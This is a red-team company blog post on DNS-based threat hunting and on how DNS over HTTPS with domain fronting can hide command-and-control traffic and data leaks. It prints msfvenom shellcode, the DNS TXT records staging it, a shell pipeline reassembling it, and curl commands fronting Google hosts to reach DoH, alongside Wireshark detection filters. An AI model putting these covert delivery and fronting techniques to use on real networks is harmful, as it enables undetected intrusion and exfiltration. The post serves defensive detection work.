REDTEAM.PL TECHBLOG: DNS based threat hunting and DoH (DNS over HTTPS)

Malicious communication over encrypted HTTPS channel is in fact nothing new, but DoH (DNS Queries over HTTPS [https://tools.ietf.org/html/rfc8484]) can help a lot in hiding communication with C&C (a.k.a. C2). What is new in this case and changes a lot, is that well known and trusted vendors such as Google, CloudFlare etc are starting to run its own DoH services. This new future can be used by red teamers as well as abused by threat actors such as attackers, malware creators etc.

Few words about current common approach to detection

One of general approaches used in threat hunting is detection of malicious communication based on the DNS traffic. When an attacker is communicating with the C&C using old style methods such as HTTP(S) it is quite easy to discover such communication, if an organisation has anything which is able to detect such attack like DNS firewall (e.g. OpenDNS Family Shield [https://signup.opendns.com/familyshield/]) and/or traffic inspection using SIEM etc, because common detection tools are using blacklists of malicious domains. When security researchers are using honeypots, perform malware analysis etc, or targeted companies report malicious domains, other organisations can collect these artifacts like domains and use it for detection and/or blocking (e.g. DNS blackhole). As it is described in The Pyramid of Pain [http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html], this is one of the simplest mechanisms for threat hunting.

Another common way for malicious communication is to perform communication with C&C only over DNS queries and that way malware can communicate with C&C using for example TXT, AXFR or ANY DNS records, but not only these as it all depends on creativity.

Quoting Cisco Talos Intelligence Group [https://blog.talosintelligence.com/2017/03/dnsmessenger.html]: “Typically this use of DNS is related to the exfiltration of information. Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT.”, but in fact, this is not extremely uncommon [https://attack.mitre.org/techniques/T1071/]. Each idea of using DNS for malicious traffic is a little different, but at general point detection of such is same. If some of your desktop computers in the office is doing TXT DNS queries, isn’t this suspicious? In which real case desktop, not server, is doing TXT query? Such queries are used usually by server services, for example to check SPF [https://support.google.com/a/answer/33786?hl=en], DKIM [https://support.google.com/a/answer/174124?hl=en] and any other domain verification for example used by Google [https://support.google.com/a/answer/183895?hl=en] etc.

Sample transfer of shellcode, commands or whatever malicious actor wants to transfer from C&C can look like:

# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python

# size 220

# "\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b"

# "\xc9\xb1\x31\x31\x7a\x18\x03\x7a\x18\x83\xc2\x3a\x67"

# "\x22\x72\xaa\xe5\xcd\x8b\x2a\x8a\x44\x6e\x1b\x8a\x33"

# "\xfa\x0b\x3a\x37\xae\xa7\xb1\x15\x5b\x3c\xb7\xb1\x6c"

# "\xf5\x72\xe4\x43\x06\x2e\xd4\xc2\x84\x2d\x09\x25\xb5"

# "\xfd\x5c\x24\xf2\xe0\xad\x74\xab\x6f\x03\x69\xd8\x3a"

# "\x98\x02\x92\xab\x98\xf7\x62\xcd\x89\xa9\xf9\x94\x09"

# "\x4b\x2e\xad\x03\x53\x33\x88\xda\xe8\x87\x66\xdd\x38"

# "\xd6\x87\x72\x05\xd7\x75\x8a\x41\xdf\x65\xf9\xbb\x1c"

# "\x1b\xfa\x7f\x5f\xc7\x8f\x9b\xc7\x8c\x28\x40\xf6\x41"

# "\xae\x03\xf4\x2e\xa4\x4c\x18\xb0\x69\xe7\x24\x39\x8c"

# "\x28\xad\x79\xab\xec\xf6\xda\xd2\xb5\x52\x8c\xeb\xa6"

# "\x3d\x71\x4e\xac\xd3\x66\xe3\xef\xb9\x79\x71\x8a\x8f"

# "\x7a\x89\x95\xbf\x12\xb8\x1e\x50\x64\x45\xf5\x15\x9a"

# "\x0f\x54\x3f\x33\xd6\x0c\x02\x5e\xe9\xfa\x40\x67\x6a"

# "\x0f\x38\x9c\x72\x7a\x3d\xd8\x34\x96\x4f\x71\xd1\x98"

# "\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b"

$ host -t txt payload.redteam.pl

redteam.pl descriptive text "00 d9f7d97424f45abf3e85d78e2b"

redteam.pl descriptive text "01 c9b131317a18037a1883c23a67"

redteam.pl descriptive text "13 7a8995bf12b81e506445f5159a"

redteam.pl descriptive text "14 0f543f33d60c025ee9fa40676a"

redteam.pl descriptive text "15 0f389c727a3dd834964f71d198"

redteam.pl descriptive text "16 fc72f0fa63e198d206813b2b"

redteam.pl descriptive text "06 980292ab98f762cd89a9f99409"

redteam.pl descriptive text "07 4b2ead03533388dae88766dd38"

redteam.pl descriptive text "08 d6877205d7758a41df65f9bb1c"

redteam.pl descriptive text "09 1bfa7f5fc78f9bc78c2840f641"

redteam.pl descriptive text "10 ae03f42ea44c18b069e724398c"

redteam.pl descriptive text "11 28ad79abecf6dad2b5528ceba6"

redteam.pl descriptive text "12 3d714eacd366e3efb979718a8f"

redteam.pl descriptive text "02 2272aae5cd8b2a8a446e1b8a33"

redteam.pl descriptive text "03 fa0b3a37aea7b1155b3cb7b16c"

redteam.pl descriptive text "04 f572e443062ed4c2842d0925b5"

redteam.pl descriptive text "05 fd5c24f2e0ad74ab6f0369d83a"

Numbers at the beginning of each line are used to keep the correct order as this is round-robin DNS [https://en.wikipedia.org/wiki/Round-robin_DNS] like approach and the order will be random for each answer.

$ host -t txt payload.redteam.pl | awk '{print $4,$5}' | sort | awk '{print $2}' | sed -s 's/"//' | sed 's/../\\x\0/g'

\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b

\xc9\xb1\x31\x31\x7a\x18\x03\x7a\x18\x83\xc2\x3a\x67

\x22\x72\xaa\xe5\xcd\x8b\x2a\x8a\x44\x6e\x1b\x8a\x33

\xfa\x0b\x3a\x37\xae\xa7\xb1\x15\x5b\x3c\xb7\xb1\x6c

\xf5\x72\xe4\x43\x06\x2e\xd4\xc2\x84\x2d\x09\x25\xb5

\xfd\x5c\x24\xf2\xe0\xad\x74\xab\x6f\x03\x69\xd8\x3a

\x98\x02\x92\xab\x98\xf7\x62\xcd\x89\xa9\xf9\x94\x09

\x4b\x2e\xad\x03\x53\x33\x88\xda\xe8\x87\x66\xdd\x38

\xd6\x87\x72\x05\xd7\x75\x8a\x41\xdf\x65\xf9\xbb\x1c

\x1b\xfa\x7f\x5f\xc7\x8f\x9b\xc7\x8c\x28\x40\xf6\x41

\xae\x03\xf4\x2e\xa4\x4c\x18\xb0\x69\xe7\x24\x39\x8c

\x28\xad\x79\xab\xec\xf6\xda\xd2\xb5\x52\x8c\xeb\xa6

\x3d\x71\x4e\xac\xd3\x66\xe3\xef\xb9\x79\x71\x8a\x8f

\x7a\x89\x95\xbf\x12\xb8\x1e\x50\x64\x45\xf5\x15\x9a

\x0f\x54\x3f\x33\xd6\x0c\x02\x5e\xe9\xfa\x40\x67\x6a

\x0f\x38\x9c\x72\x7a\x3d\xd8\x34\x96\x4f\x71\xd1\x98

\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b

Using just a DNS query we were able to transfer shellcode. Same way threat actor is not only able to download information, but can also send (leak) data because it is enough space in each DNS query to do that:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com

To detect this we can measure the entropy of request, its length, frequency, responses and its TTL etc, but this is not the main subject of this article so we will skip it.

Whole approach is in fact related to malicious actors creativity but summing above, usually attackers can be detected by threat hunting which is based on simple inspection of DNS traffic – monitoring internal DNS logs and also if possible communication to external DNS services which should not happen in common organisation environment as all computers usually are using internal DNS servers. If some computers are resolving domains from external DNS services this should definitely trigger an alert and should be inspected why it is occuring. Using these techniques we are able to detect i.a. initial communication to HTTPS C&C server, C&C communication which is fully done only with DNS requests, malware which is using DGA (Domain Generating Algorithm) etc.

Also keep in mind that attackers can communicate with HTTP server using just an IP address, so without domains and DNS queries, but usually they don’t because it is a lot easier to take down a service which is referred directly to a hardcoded IP than to take down a domain which is used for malicious behaviour. Usually domains are hardcoded in the malware or DGA is in use as mentioned before. For direct IP communication we can do detection which will be based on GeoIP (country based), IP reputation, malicious IP lists (same as with domains), ports and protocol inspections etc. Usually this is also used as another layer for threat hunting techniques where DNS based detection is one of them. These are fundamentals of threat hunting, which are described in mentioned above The Pyramid of Pain.

DNS over HTTPS (DoH) as a channel for C2 communication

Since DoH is in use, and what is the main focus of this article, there are DoH services offered by trusted vendors, this can be used as new style for old ideas. Main problem is that some DoH services such as these offered by Google or CloudFlare, are categorized and rated as trusted hosts and will not trigger alerts in detection systems. Traffic to such vendors is common in almost every organisation and it makes detection a lot harder.

DoH is using an approach which is designed for user privacy because everyone in your local network, ISPs etc can see DNS traffic. This is also a problem for Tor users etc. In short no one knows what you watch on youtube.com but everyone knows that you visit youtube.com because DNS queries are not encrypted as HTTPS traffic is. In fact these are not only DNS queries which leak VirtualHost (Apache [https://httpd.apache.org/docs/2.4/vhosts/index.html]) / Server Block (nginx [https://www.nginx.com/resources/wiki/start/topics/examples/server_blocks/]) name but also SSL/TLS certificates – it will be described below.

It is worth mentioning that DoT (DNS over TLS) services also exist but we will not focus on this because main target for this article is threat hunting and red teaming. DoT can be easy detected by simply monitoring the traffic to 853/tcp port. If no one in your organisation is using DoT, it is a quite new and not common standard, and only some hosts are starting to communicate using it, this is the reason why it is easy to detect it. We are not talking about what is better in a matter of privacy DoT vs DoH, so that is why we will not focus on DoT. Not to even mention that such ports usually will be blocked on the organisation firewall, what we can’t say about 443/tcp (HTTPS).

DoH is hard to detect due to the fact that whole communication is done over HTTPS, which is encrypted and considered common network traffic, there is nothing special that could easily trigger an alert about some malicious communication:

$ curl 'https://dns.google.com/resolve?name=example.com&type=TXT'

{"Status": 0,"TC": false,"RD": true,"RA": true,"AD": false,"CD": false,"Question":[ {"name": "example.com.","type": 16}],"Answer":[ {"name": "example.com.","type": 16,"TTL": 18585,"data": "\"v=spf1 -all\""}]}

Traffic for that request looks like this:

192.168.0.109 192.168.0.1 DNS 74 Standard query 0xfa6c A dns.google.com

192.168.0.109 192.168.0.1 DNS 74 Standard query 0xb49b AAAA dns.google.com

192.168.0.1 192.168.0.109 DNS 338 Standard query response 0xfa6c A dns.google.com A 216.58.215.110 NS ns2.google.com NS ns4.google.com NS ns3.google.com NS ns1.google.com A 216.239.32.10 AAAA 2001:4860:4802:32::a A 216.239.34.10 AAAA 2001:4860:4802:34::a A 216.239.36.10 AAAA 2001:4860:4802:36::a A 216.239.38.10 AAAA 2001:4860:4802:38::a

192.168.0.1 192.168.0.109 DNS 350 Standard query response 0xb49b AAAA dns.google.com AAAA 2a00:1450:401b:803::200e NS ns3.google.com NS ns4.google.com NS ns1.google.com NS ns2.google.com A 216.239.32.10 AAAA 2001:4860:4802:32::a A 216.239.34.10 AAAA 2001:4860:4802:34::a A 216.239.36.10 AAAA 2001:4860:4802:36::a A 216.239.38.10 AAAA 2001:4860:4802:38::a

OK, there is a communication to Google ASN but we can detect a query to DNS for dns.google.com record. This is a good approach, to monitor for DoH endpoints, but the problem is that an attacker can establish communication without this DNS query:

$ curl -k -H 'Host: dns.google.com' 'https://216.58.215.78/resolve?name=example.com&type=TXT'

{"Status": 0,"TC": false,"RD": true,"RA": true,"AD": true,"CD": false,"Question":[ {"name": "example.com.","type": 16}],"Answer":[ {"name": "example.com.","type": 16,"TTL": 5477,"data": "\"v=spf1 -all\""}]}

OK, better but still this can be detected for example by using Wireshark display filter such as:

tls.handshake.type == 1 && !tls.handshake.extension.type == 0

This can be also used for detection as column tls.handshake.extensions_server_name:

In case of direct communication with IP using just HTTP header “Host” to select VirtualHost/Server Block the “Server Name” column will not contain anything, and that can alert a threat hunter as such communication is not common.

Some time ago Deloitte Greece ethical hacking team presented a technique which they named in short the "LAME" technique [https://dotelite.gr/the-lame-technique/], quoting the authors: “It is possible to obtain a trusted SSL Certificate for a public DNS name resolving to internal IP address and use it for establishing encrypted communication channels [with C&C] within internal networks”. This is a good example how simple DNS based threat hunting can be effective. When a domain resolves to a LAN or non-routable IP address then certainly it should trigger an alert if some of your organisation computers are querying the DNS server for such domain.

Historically this was a technique used by bot masters to temporary deactivate botnets which for example were IRC based and the malware binary had a hardcoded domain. Each bot tried to reconnect in some period of time to the IRC server but when a domain started to point at localhost (IN A 127.0.0.1) then each bot switched to a standby state – wasn’t able to connect as there was no local IRC service, so it kept trying to connect and querying DNS for C&C domain after TTL time has passed. That way it was only possible to take down a botnet by controlling domain, because without this it was even not possible to see how large the botnet is as zombies (bot) were not connecting to the C&C, but tried connecting to localhost as long as the domain was pointing there, also short TTL (in DNS it is time in seconds) was in use. If a botmaster needed access to the botnet then it was all about starting the C&C and then changing DNS records, each zombie was reconnecting whenever the requested domain was pointing again to the C&C IP address.

Getting back to the "LAME" technique, the communication is indeed encrypted but as mentioned above, we can see the certificate details which are not encrypted in SSL/TLS initial communication (Client Hello), and that includes i.a. domains (as above, tls.handshake.extensions_server_name display filter in Wireshark). Now we see an external domain which is used in communication between two (or more) hosts in LAN, preceded with a DNS query that resolves to a LAN IP, isn’t this suspicious? Yes, of course it is, and it is one of simplest DNS based detection rules. In conclusion the authors of this technique write: “This can be used as a covert lateral movement technique, which bypasses intrusion detection / monitoring tools.”, but in fact it makes detection even more effective because when companies perform threat hunting then usually DNS based detection is in use as simplest threat hunting technique which doesn’t require any big investment. Not to even mention that in fact using this technique can trigger an IDS alert and probably there is less detection risk when we will not use it at all than when we make things harder… simple solutions work best. Even when we run a red teaming engagement or malware actors are performing attacks, less complicated things, less uncommon traffic etc make it harder to detect, even when there is plaintext communication. Let’s remember that usually in LAN sysadmins are communicating with servers by IPs or using internal TLD domains (like server.redteam, there is no TLD “redteam” but we can have any TLD we want in our internal network and it will only work for computers which are using our internal DNS server). How many times sysadmins are using external domains (which does not belong to the organization) to any internal HTTPS communication, zero? Personally I have never encountered such an approach.

Bypass DoH detection with Domain Fronting

Problem is that a technique called Domain Fronting [https://en.wikipedia.org/wiki/Domain_fronting] also exists, which can be used to i.a. bypass Internet censorship, but also in malicious communication:

$ curl -H 'Host: dns.google.com' 'https://google.com/resolve?name=example.com&type=TXT'

In Wireshark such traffic will look like:

This can look like a normal Internet traffic as someone is querying Google with a web browser. It may look like it's normal but does not have to be if we will focus on the details, how real communication from a web browser looks like. We can count handshakes, size, time between requests, sequences with other hosts like consent.google.com, www.gstatic.com, adservice.google.com etc. Please note that a malicious actor can also do more advanced simulation of a normal user behaviour. This can become a neverending story, as threat actors can use regular user behaviour simulation to transfer even more data as domain fronting can be used probably for all possible Google hosts:

$ host -t A google.com

google.com has address 172.217.16.46

$ host -t A dns.google.com

dns.google.com has address 216.58.215.78

$ curl -H 'Host: dns.google.com' 'https://google.com/resolve?name=example.com&type=TXT'

$ curl -k -H 'Host: dns.google.com' 'https://172.217.16.46/resolve?name=example.com&type=TXT'

$ curl -k -H 'Host: dns.google.com' 'https://216.58.215.78/resolve?name=example.com&type=TXT'

$ host -t A adservice.google.com

adservice.google.com is an alias for pagead46.l.doubleclick.net.

pagead46.l.doubleclick.net has address 172.217.20.194

$ curl -k -H 'Host: dns.google.com' 'https://172.217.20.194/resolve?name=example.com&type=TXT'

$ host -t A google.pl

google.pl has address 172.217.16.35

$ curl -k -H 'Host: dns.google.com' 'https://172.217.16.35/resolve?name=example.com&type=TXT'

$ host -t A blogger.com

blogger.com has address 172.217.20.201

$ curl -k -H 'Host: dns.google.com' 'https://172.217.20.201/resolve?name=example.com&type=TXT'

$ curl -H 'Host: dns.google.com' 'https://blogger.com/resolve?name=redteam.pl&type=A'

{"Status": 0,"TC": false,"RD": true,"RA": true,"AD": false,"CD": false,"Question":[ {"name": "redteam.pl.","type": 1}],"Answer":[ {"name": "redteam.pl.","type": 1,"TTL": 8615,"data": "104.248.133.95"}]}

Another problem with distinguishing normal traffic from a malicious one is that for example Firefox allows users to use DoH [https://wiki.mozilla.org/Trusted_Recursive_Resolver], which is by default communicating with mozilla.cloudflare-dns.com. At this moment there are a few more DoH services [https://github.com/curl/curl/wiki/DNS-over-HTTPS] and in the future we should have a lot more available.

Summary

From one side it is better for user privacy when there are solutions like DoH in place, on the other hand it is harder to detect leaks with i.a. DLP (Data Leak Prevention) tools. This also shows that products such as DNS firewalls are not enough for organisations to protect against hackers. Threat actors are still able to use hardcoded domains or DGA in malware but with DoH it will be not detected with today’s DNS firewall solutions. Currently when attacker is using his own DNS server and the traffic is not encrypted, we can simply detect it by additional inspection of DNS related network traffic, not only DNS queries/logs from our service. With DoH we will see HTTPS communication to i.a. google.com, not even knowing that it is a DNS query. This is not only a way to send hidden DNS queries but a great approach to leak data outside the organisation network without being detected. The need arises to perform real threat hunting, not just use products advertised with buzzwords. Detection needs to be based on knowledge from the top of The Pyramid of Pain – Tactics, Techniques and Procedures (TTPs). Threat hunters need to think like highly skilled threat actors, not only to detect well known and common techniques which are usually used only by low skilled attackers, such as script kiddies.

Threat hunters need to have similar skills as red teamers, and vice versa, if red teamers want to keep up and perform simulations of attacks that can go undetected. Good example on how NOT to do simulation of attacks is mentioned above The "LAME" technique – it sounds great but in fact it makes detection easier compared to a case when there is no such technique in use and attackers don’t encrypt communication in the internal network. Most organizations don’t store LAN traffic, but even if they are, this is about not being detected (successful attack) vs. leave more forensics artifacts, and we are talking primarily about post-exploitation and lateral movement artifacts, which most likely will not be connected to any external resources – which approach you will choose as an attacker, leave more forensics evidence or be able to perform a successful attack without detection during the ongoing engagement? Using DoH with domain fronting creates a real problem for detection in a common environment, in fact just because it will be possible to establish malicious communication over a trusted vendors as proxy. We can check time (outside of working hours), compare time between requests etc but there is no obvious alert just for DoH without encountering many false positives. Anyway threat hunting is not about detecting all the things, it should trigger alerts which almost never are false positives, it should detect some stages of attacks but don’t need to detect all, i.a. because of computing power and having more false positives, which can drop our guard ending in overlooking a real attack.

DNS based threat hunting and DoH (DNS over HTTPS)

Few words about current common approach to detection

DNS over HTTPS (DoH) as a channel for C2 communication

Bypass DoH detection with Domain Fronting

Summary

References

No comments: